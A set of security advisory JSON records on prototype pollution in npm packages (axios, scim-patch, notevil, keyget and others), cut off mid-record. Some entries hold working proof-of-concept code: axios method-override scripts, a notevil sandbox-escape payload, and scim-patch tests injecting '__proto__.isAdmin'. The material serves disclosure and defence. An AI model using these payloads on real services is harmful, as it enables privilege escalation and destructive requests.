CWE-1321

{
  "affected": [],
  "aliases": [
    "CVE-2026-86536"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-02T12:17:22Z",
    "severity": "MODERATE"
  },
  "details": "Improperly controlled modification of object prototype attributes (\u0027prototype pollution\u0027) vulnerability in Apache Thrift all JS bindings.\n\n\n\nThis issue affects Apache Thrift: before 0.25.0.\n\n\n\nUsers are recommended to upgrade to version 0.25.0 and re-generate JS code, which fixes the issue.",
  "id": "GHSA-9fmc-g2q8-p66m",
  "modified": "2026-10-02T12:31:18Z",
  "published": "2026-10-02T12:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-86536"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/33otcgbqd27wf6qq810q56znzbomnhg1"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/xckvfky30kdnk8vqnhy0wndthvc9nymp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "keyget"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-31T19:46:10Z",
    "nvd_published_at": "2022-01-28T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The package keyget from 0.0.0 are vulnerable to Prototype Pollution via the methods set, push, and at which could allow an attacker to cause a denial of service and may lead to remote code execution. **Note:** This vulnerability derives from an incomplete fix to [CVE-2020-28272](https://security.snyk.io/vuln/SNYK-JS-KEYGET-1048048)",
  "id": "GHSA-9fp7-4fjm-q3mf",
  "modified": "2022-01-31T19:46:10Z",
  "published": "2022-02-01T00:51:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23760"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rumkin/keyget"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-KEYGET-1048048"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-KEYGET-2342624"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in keyget"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.27.2"
            },
            {
              "fixed": "0.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:12:49Z",
    "nvd_published_at": "2026-09-28T18:17:18Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAxios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.\n\n## Impact\n\nIn an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.\n\nMethod aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.\n\n## Affected Functionality\n\nAffected:\n\n- Default axios instance calls: `axios.request({ url })`.\n- Callable shorthand: `axios({ url })`.\n- Requests where no own `config.method` is provided.\n\nNot affected in the confirmed method PoC:\n\n- `axios.get(url)` and other method aliases.\n- `axios.request({ url, method: \u0027GET\u0027 })`.\n- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.\n\n## Technical Details\n\n`lib/core/Axios.js` sets the request method with:\n\n```js\nconfig.method = (config.method || this.defaults.method || \u0027get\u0027).toLowerCase();\n```\n\n`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.\n\nLocal verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = \u0027DELETE\u0027`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.method = \u0027DELETE\u0027;\ntry {\n  await axios.request({ url: \u0027http://127.0.0.1:\u003cport\u003e/resource\u0027 });\n} finally {\n  delete Object.prototype.method;\n}\n```\n\nExpected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.\n\n## Workarounds\n\nUse explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n### Summary\n\nAxios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.\n\nAxios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.\n\nThis should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.\n\n### Details\n\nThe vulnerable fallback read is in `lib/core/Axios.js`:\n\n```js\n// Set config.allowAbsoluteUrls\nif (config.allowAbsoluteUrls !== undefined) {\n  // do nothing\n} else if (this.defaults.allowAbsoluteUrls !== undefined) {\n  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n} else {\n  config.allowAbsoluteUrls = true;\n}\n\n// Set config.method\nconfig.method = (config.method || this.defaults.method || \u0027get\u0027).toLowerCase();\n```\n\nThe merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:\n\n```js\nconst config = Object.create(null);\n```\n\nTherefore, when the caller does not provide `config.method`, the fallback becomes:\n\n```js\nthis.defaults.method\n```\n\nThe default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.\n\nThe same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.\n\n### Proof of Concept\n\n#### Access and Attack Conditions\n\nNo admin access is required for Axios itself. This is a library-level gadget.\n\nThe attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.\n\nRequired condition:\n\n```text\nSome other bug or unsafe merge path in the application must allow Object.prototype pollution.\n```\n\nWhat Axios contributes:\n\n```text\nAxios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.\n```\n\nWhat Axios does not do:\n\n```text\nAxios does not create Object.prototype pollution by itself.\n```\n\nAffected usage:\n\n```js\naxios.request({ url });\naxios({ url });\n```\n\nNot affected in the confirmed PoC:\n\n```js\naxios.get(url);\naxios.request({ url, method: \"GET\" });\naxios.create().request({ url });\n```\n\n#### Reproduction Steps\n\n1. Create a clean test directory and install Axios `1.17.0`:\n\n```powershell\nmkdir axios-validation\ncd axios-validation\nnpm init -y\nnpm install axios@1.17.0 --no-audit --no-fund\n```\n\n2. Save the method override PoC below as:\n\n```text\nvalidate-prototype-method-gadget.mjs\n```\n\n3. Run the PoC:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\n4. Confirm that the output shows:\n\n```text\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\n5. This proves that after `Object.prototype.method = \"DELETE\"`, default-instance calls that omit an explicit method are sent as `DELETE`.\n\n#### What the Method PoC Script Does\n\nThe PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:\n\n```js\nObject.prototype.method = \"DELETE\";\n```\n\nWhile that pollution is active, the script sends five Axios requests:\n\n```js\naxios.request({ url });                 // expected vulnerable path\naxios({ url });                         // expected vulnerable shorthand path\naxios.get(url);                         // expected safe alias path\naxios.request({ url, method: \"GET\" });  // expected safe explicit-method path\naxios.create().request({ url });        // expected safe isolated-instance path\n```\n\nThe script then deletes the polluted property:\n\n```js\ndelete Object.prototype.method;\n```\n\nFinally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.\n\n#### Method Override PoC\n\nCreate `validate-prototype-method-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runRequest(label, requestFn) {\n  const hits = [];\n  const server = http.createServer((req, res) =\u003e {\n    hits.push({\n      method: req.method,\n      url: req.url,\n    });\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const port = await listen(server);\n  const url = `http://127.0.0.1:${port}/${label}`;\n\n  let status = \"completed\";\n  let error = \"\";\n  try {\n    await requestFn(url);\n  } catch (err) {\n    status = \"error\";\n    error = err?.message || String(err);\n  }\n\n  server.close();\n  return { label, status, error, hits };\n}\n\nconst results = [];\n\nObject.prototype.method = \"DELETE\";\ntry {\n  results.push(await runRequest(\"default-request-no-method\", (url) =\u003e axios.request({ url })));\n  results.push(await runRequest(\"default-shorthand-no-method\", (url) =\u003e axios({ url })));\n  results.push(await runRequest(\"default-get-alias\", (url) =\u003e axios.get(url)));\n  results.push(await runRequest(\"default-request-explicit-get\", (url) =\u003e axios.request({ url, method: \"GET\" })));\n\n  const instance = axios.create();\n  results.push(await runRequest(\"created-instance-request-no-method\", (url) =\u003e instance.request({ url })));\n} finally {\n  delete Object.prototype.method;\n}\n\nconst defaultRequestMethod = results.find((r) =\u003e r.label === \"default-request-no-method\")?.hits[0]?.method || \"\";\nconst defaultShorthandMethod = results.find((r) =\u003e r.label === \"default-shorthand-no-method\")?.hits[0]?.method || \"\";\nconst getAliasMethod = results.find((r) =\u003e r.label === \"default-get-alias\")?.hits[0]?.method || \"\";\nconst explicitGetMethod = results.find((r) =\u003e r.label === \"default-request-explicit-get\")?.hits[0]?.method || \"\";\nconst createdInstanceMethod = results.find((r) =\u003e r.label === \"created-instance-request-no-method\")?.hits[0]?.method || \"\";\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\nconsole.log(`defaultRequestMethod=${defaultRequestMethod}`);\nconsole.log(`defaultShorthandMethod=${defaultShorthandMethod}`);\nconsole.log(`getAliasMethod=${getAliasMethod}`);\nconsole.log(`explicitGetMethod=${explicitGetMethod}`);\nconsole.log(`createdInstanceMethod=${createdInstanceMethod}`);\n\nconst confirmed =\n  defaultRequestMethod === \"DELETE\" \u0026\u0026\n  defaultShorthandMethod === \"DELETE\" \u0026\u0026\n  getAliasMethod === \"GET\" \u0026\u0026\n  explicitGetMethod === \"GET\" \u0026\u0026\n  createdInstanceMethod === \"GET\";\n\nconsole.log(confirmed ? \"RESULT: CONFIRMED\" : \"RESULT: NOT CONFIRMED\");\nprocess.exitCode = confirmed ? 0 : 1;\n```\n\nRun:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\nThe local server received:\n\n```text\naxios.request({ url })              -\u003e DELETE\naxios({ url })                      -\u003e DELETE\naxios.get(url)                      -\u003e GET\naxios.request({ url, method:\"GET\" }) -\u003e GET\naxios.create().request({ url })     -\u003e GET\n```\n\nThis confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.\n\n#### Supporting `allowAbsoluteUrls` Gadget Evidence\n\nThe same inherited-property issue affects `allowAbsoluteUrls`.\n\nCreate `validate-prototype-allowabsoluteurls-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runCase(label, requestFn) {\n  const baseHits = [];\n  const absoluteHits = [];\n\n  const baseServer = http.createServer((req, res) =\u003e {\n    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"base\");\n  });\n\n  const absoluteServer = http.createServer((req, res) =\u003e {\n    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"absolute\");\n  });\n\n  const basePort = await listen(baseServer);\n  const absolutePort = await listen(absoluteServer);\n\n  try {\n    await requestFn({\n      baseURL: `http://127.0.0.1:${basePort}/api`,\n      url: `http://127.0.0.1:${absolutePort}/absolute-path`,\n    });\n  } catch {}\n\n  baseServer.close();\n  absoluteServer.close();\n\n  return { label, baseHits, absoluteHits };\n}\n\nconst results = [];\n\nresults.push(await runCase(\"baseline-no-pollution\", (config) =\u003e axios.request(config)));\n\nObject.prototype.allowAbsoluteUrls = false;\ntry {\n  results.push(await runCase(\"polluted-default-request\", (config) =\u003e axios.request(config)));\n  const instance = axios.create();\n  results.push(await runCase(\"polluted-created-instance\", (config) =\u003e instance.request(config)));\n} finally {\n  delete Object.prototype.allowAbsoluteUrls;\n}\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\nbaselineUsedAbsolute=true\npollutedDefaultUsedBase=true\npollutedInstanceUsedAbsolute=true\nRESULT: CONFIRMED\n```\n\nWithout pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.\n\n### Impact\n\nThis is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.\n\nIf such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:\n\n- `axios.request({ url })`\n- `axios({ url })`\n\nThis can turn an expected safe default `GET` request into a state-changing method such as:\n\n- `DELETE`\n- `POST`\n- `PUT`\n- `PATCH`\n\nPotential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.\n\nThe issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.\n\u003c/details\u003e\n\n---",
  "id": "GHSA-9fr6-4gfg-395g",
  "modified": "2026-09-30T15:12:49Z",
  "published": "2026-09-30T15:12:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101902"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.34.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "parse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0-alpha.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-26T12:57:00Z",
    "nvd_published_at": "2025-09-24T21:15:32Z",
    "severity": "MODERATE"
  },
  "details": "parse is a package designed to parse JavaScript SDK. A Prototype Pollution vulnerability in the SingleInstanceStateController.initializeState function of parse allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.",
  "id": "GHSA-9g8m-v378-pcg3",
  "modified": "2025-11-27T08:57:14Z",
  "published": "2025-09-24T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57324"
    },
    {
      "type": "WEB",
      "url": "https://github.com/parse-community/Parse-SDK-JS/commit/9e7c1bad472b1ed2463cbac567b8ec752ae5b4c9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/blob/main/JavaScript/prototype-pollution/parse%405.3.0/index.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/tree/main/JavaScript/prototype-pollution/CVE-2025-57324"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/parse-community/Parse-SDK-JS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "parse is vulnerable to prototype pollution"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "notevil"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:55:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Versions of `notevil` prior to 1.3.3 are vulnerable to Sandbox Escape leading to Prototype pollution. The package fails to restrict access to the main context, allowing attacker to add or modify an object\u0027s prototype.\n\nEvaluating the payload ```try{a[b];}catch(e){e.constructor.constructor(\u0027return __proto__.arguments.callee.__proto__.polluted=true\u0027)()}``` add the `polluted` property to Function.\n\n\n## Recommendation\n\nUpgrade to version 1.3.3 or later.",
  "id": "GHSA-9gxr-rhx6-4jgv",
  "modified": "2020-08-31T18:55:36Z",
  "published": "2020-09-04T15:18:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1338"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Sandbox Breakout / Prototype Pollution in notevil"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@stryker-mutator/util"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-57085"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-05T14:27:29Z",
    "nvd_published_at": "2025-02-05T22:15:32Z",
    "severity": "HIGH"
  },
  "details": "A prototype pollution in the function deepMerge of @stryker-mutator/util v8.6.0 allows attackers to cause a Denial of Service (DoS) via supplying a crafted payload.",
  "id": "GHSA-9j5q-479x-43g2",
  "modified": "2025-08-05T14:27:29Z",
  "published": "2025-02-06T06:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57085"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stryker-mutator/stryker-js/issues/5144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stryker-mutator/stryker-js/commit/f7b34bfbbde33e45bc213a2f6058bf0c5bf6bce7"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/tariqhawis/f59355f62dad6f8b53b42317f143ba0c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/stryker-mutator/stryker-js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stryker-mutator/stryker-js/blob/7270f111ff36d6b18669302f5702fd42f664d53e/CHANGELOG.md#871-2024-12-11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@stryker-mutator/util vulnerable to Prototype Pollution"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "scim-patch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48170"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T22:57:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`scim-patch` performs prototype pollution when applying a SCIM PATCH operation whose `value` object contains a key like `\"__proto__.someProp\"`. After one such patch,\n`Object.prototype.someProp` is set process-wide, affecting every plain object in the Node process.\n\nAny service that calls `scimPatch()` on attacker-controlled JSON (i.e. any SCIM endpoint accepting `PATCH` from an external IdP) is exploitable on a stock Node runtime.\n\n## Impact\n\n- **Class:** Prototype pollution ([CWE-1321](https://cwe.mitre.org/data/definitions/1321.html))\n- **Affected versions:** `\u003c= 0.9.0` (current HEAD `871b1e2`)\n- **Attack vector:** Network \u2014 sent as part of a normal SCIM `PATCH /Users/:id` request body.\n- **Privileges required:** Whatever the SCIM endpoint requires. For most integrations that\u0027s a provisioned IdP, which is \"low\" in CVSS terms (any authenticated provisioning client).\n- **Scope:** Changed \u2014 the bug is in a SCIM library but the side effect (`Object.prototype` mutation) leaks into the entire Node process.\n\nDownstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:\n- **Privilege escalation** if any auth/middleware code checks `actor.isAdmin` / `req.user.admin` / similar boolean flags against a plain object that *expects* the key to be absent.\n- **Logic bypass / DoS** if any code branches on `obj.name`, `obj.type`, `obj.id` etc. against plain objects (e.g. `pg`\u0027s prepared-statement naming check \u2014 a real incident at one consumer).\n- **Persistence:** lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.\n\n## Root cause\n\nIn `src/scimPatch.ts:415-427`, `addOrReplaceObjectAttribute` iterates the user-supplied `patch.value` with `Object.entries` and feeds each key to `resolvePaths`, which splits on `.`:\n\n```ts\nfunction addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {\n    if (typeof patch.value !== \u0027object\u0027) { ... }\n\n    // src/scimPatch.ts:423-427\n    for (const [key, value] of Object.entries(patch.value)) {\n        assign(property, resolvePaths(key), value, patch.op);\n    }\n    return property;\n}\n```\n\n`assign` then walks the resulting key path with no filtering on dangerous keys (`src/scimPatch.ts:437-445`):\n\n```ts\nfunction assign(obj: any, keyPath: Array\u003cstring\u003e, value: any, op: string) {\n    const lastKeyIndex = keyPath.length - 1;\n    for (let i = 0; i \u003c lastKeyIndex; ++i) {\n        const key = keyPath[i];\n        if (!(key in obj)) {\n            obj[key] = {};\n        }\n        obj = obj[key];   // \u2190 obj[\"__proto__\"] === Object.prototype\n    }\n    // ... assigns into Object.prototype\n}\n```\n\nFor `keyPath = [\"__proto__\", \"polluted\"]`:\n- `\"__proto__\" in obj` is always true, so the fresh-object branch is skipped.\n- `obj = obj[\"__proto__\"]` now points to `Object.prototype`.\n- The final write lands on `Object.prototype.polluted`.\n\nThe same shape works for `constructor.prototype` keys.\n\n## Proof of concept\n\nDrop this in `test/prototypePollution.test.ts` and run `npm run build \u0026\u0026 npx mocha lib/test/prototypePollution.test.js`. Both tests pass against HEAD `871b1e2`:\n\n```ts\nimport { scimPatch } from \u0027../src/scimPatch\u0027;\nimport { ScimUser } from \u0027./types/types.test\u0027;\nimport { expect } from \u0027chai\u0027;\n\ndescribe(\u0027Prototype pollution via scim-patch\u0027, () =\u003e {\n    let scimUser: ScimUser;\n\n    beforeEach(() =\u003e {\n        scimUser = JSON.parse(`{\n          \"schemas\": [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n          \"id\": \"tea_4\",\n          \"userName\": \"spiderman\",\n          \"name\": { \"familyName\": \"Parker\", \"givenName\": \"Peter\" },\n          \"active\": true,\n          \"emails\": [{ \"value\": \"spiderman@superheroes.com\", \"primary\": true }],\n          \"roles\": [],\n          \"meta\": { \"resourceType\": \"User\", \"created\": \"x\", \"lastModified\": \"x\", \"location\": \"x\" }\n        }`);\n    });\n\n    afterEach(() =\u003e {\n        delete (Object.prototype as any).polluted;\n        delete (Object.prototype as any).isAdmin;\n    });\n\n    it(\u0027pollutes Object.prototype via a value-key containing __proto__\u0027, () =\u003e {\n        expect(({} as any).polluted).to.equal(undefined);\n\n        scimPatch(scimUser, [{\n            op: \u0027add\u0027,\n            path: \u0027name\u0027,\n            value: { \u0027__proto__.polluted\u0027: \u0027yes\u0027 }\n        }]);\n\n        expect((Object.prototype as any).polluted).to.equal(\u0027yes\u0027);\n        expect(({} as any).polluted).to.equal(\u0027yes\u0027);\n    });\n\n    it(\u0027elevates Object.prototype.isAdmin \u2014 the admin-escalation shape\u0027, () =\u003e {\n        expect(({} as any).isAdmin).to.equal(undefined);\n\n        scimPatch(scimUser, [{\n            op: \u0027add\u0027,\n            path: \u0027name\u0027,\n            value: { \u0027__proto__.isAdmin\u0027: true }\n        }]);\n\n        expect((Object.prototype as any).isAdmin).to.equal(true);\n        expect(({} as any).isAdmin).to.equal(true);\n    });\n});\n```\n\n## Suggested fix\n\nReject the three dangerous keys in `assign()` before the walk. Minimal patch:\n\n```ts\nconst DANGEROUS_KEYS = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\n\nfunction assign(obj: any, keyPath: Array\u003cstring\u003e, value: any, op: string) {\n    for (const key of keyPath) {\n        if (DANGEROUS_KEYS.has(key)) {\n            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);\n        }\n    }\n    // ... existing logic\n}\n```\n\nAlternative, slightly safer: switch the walk target to `Object.create(null)` nodes when creating intermediate objects, and use `Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })` instead of `obj[key] = value` for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.\n\nEither approach is a non-breaking change \u2014 legitimate SCIM clients never send these keys.\n\n## Mitigation for consumers who can\u0027t upgrade immediately\n\nCalling `Object.freeze(Object.prototype)` (and the same on `Array.prototype`, `Function.prototype`) at process startup neutralizes this class of bug \u2014 assignment to a frozen prototype becomes a silent no-op in sloppy mode or a `TypeError` in strict mode. Node\u0027s `--frozen-intrinsics` flag does this for built-ins automatically.\n\n## Credit\n\nDiscovered by **Lee Wang (Notion)**. Reported by **David Wu (Notion)**.\n\nReport authored by **Claude**. Reviewed by **David Wu**.",
  "id": "GHSA-9m6g-wc8r-q59c",
  "modified": "2026-06-22T22:57:48Z",
  "published": "2026-06-22T22:57:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-9m6g-wc8r-q59c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/commit/260f9cd2ac5ceac3976978850bb47dcb391720f6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thomaspoignant/scim-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
